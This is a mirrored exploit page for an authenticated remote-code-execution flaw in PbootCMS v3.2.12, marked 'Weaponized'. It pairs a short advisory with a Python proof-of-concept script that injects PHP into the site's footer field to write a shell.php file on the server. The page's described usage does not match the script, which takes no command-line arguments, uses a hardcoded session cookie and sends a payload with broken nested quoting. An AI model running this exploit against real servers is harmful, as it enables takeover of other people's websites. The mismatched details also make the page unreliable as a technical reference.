PbootCMS Authenticated RCE via sitecopyright Field (CVE-2026-36239)

by TazmiDev · 2026-07-05

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-05
Author / Researcher	TazmiDev
CVE / Advisory	CVE-2026-36239
Category	web
Severity	Critical
CVSS Score	Not specified in source
Status	Weaponized
Tags	pbootcms, rce, authenticated, code-injection, template-injection, cwe-94
Related	N/A

Affected Target

Field	Value
Software / System	PbootCMS
Versions Affected	v3.2.12
Language / Platform	Python (target: PHP)
Authentication Required	Yes (authenticated administrator)
Network Access Required	Yes (HTTP to PbootCMS admin backend)

Summary

PbootCMS’s decode_string() function in apps/home/controller/ParserController.php sequentially applies stripcslashes() then htmlspecialchars_decode() to the “Footer Information” (sitecopyright) admin field, which effectively reverses HTML-entity encoding and escape sequences — restoring executable PHP code that is then echoed directly into frontend template output via the {{pboot:sitecopyright}} tag without validation, giving an authenticated administrator full remote code execution.

Vulnerability Details

Root Cause

decode_string()’s combination of stripcslashes() + htmlspecialchars_decode() un-escapes attacker-supplied content, and the resulting string is echoed into rendered templates without sandboxing.

Attack Vector

Authenticate to the PbootCMS admin backend (via valid/compromised/social-engineered credentials).
Set the “Footer Information” (sitecopyright) field to a crafted, doubly-encoded PHP payload.
Visit any frontend page using the {{pboot:sitecopyright}} template tag — the decoded PHP payload executes server-side.

Impact

Full server compromise (RCE) by any authenticated PbootCMS administrator account.

Environment / Lab Setup

Target:   PbootCMS v3.2.12 admin backend
Attacker: Python 3 + requests, valid PbootCMS admin credentials

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py --target http://pbootcms.example.com --user admin --password <pass> --cmd id

Authenticates to the admin backend, sets the sitecopyright field with an encoded PHP payload, and triggers execution via a frontend page render.

Detection & Indicators of Compromise

Signs of compromise:

Unusual PHP code patterns decoded from the sitecopyright/footer configuration field
Unexpected system commands executed by the PbootCMS web process

Remediation

Action	Detail
Primary fix	Update PbootCMS beyond v3.2.12 once a vendor patch addressing decode_string() is available
Interim mitigation	Restrict admin backend access to trusted networks/IPs; audit and sanitize the Footer Information field

References

Source repository

Notes

Mirrored from https://github.com/TazmiDev/CVE-2026-36239 on 2026-07-05.

poc.py

python raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

TARGET_URL = "http://192.168.1.10:8890"
SESSION_COOKIE = {"lg": "cn", "PbootSystem": "lqpo2ovgb7p35lc1amv2mofe03"}

# PAYLOAD = "<?php echo system('ls');?>"
PAYLOAD = "<?php file_put_contents('shell.php', '<?php echo 'vuln';?>');?>" # write shell.php

COMMON_HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Connection": "keep-alive"
}

def modify_site_config():
    url = f"{TARGET_URL}/admin.php?p=/Site/mod"
    headers = {
        **COMMON_HEADERS,
        "Cache-Control": "max-age=0",
        "Origin": TARGET_URL,
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": f"{TARGET_URL}/admin.php?p=/Site/index"
    }
    data = {"formcheck": "43954462b5dfc65034100f4e06a5993c","title": "PbootCMS","subtitle": "","domain": "","logo": "","upload": "","keywords": "","description": "","icp": "","theme": "default","statistical": "","copyright": PAYLOAD}
    requests.post(url, headers=headers, cookies=SESSION_COOKIE, data=data)

def clear_cache():
    url = f"{TARGET_URL}/admin.php?p=/Index/clearCache"
    headers = {
        **COMMON_HEADERS,
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": f"{TARGET_URL}/admin.php?p=/DeleCache/index"
    }
    requests.get(url, headers=headers, cookies=SESSION_COOKIE)

if __name__ == "__main__":
    modify_site_config()
    clear_cache()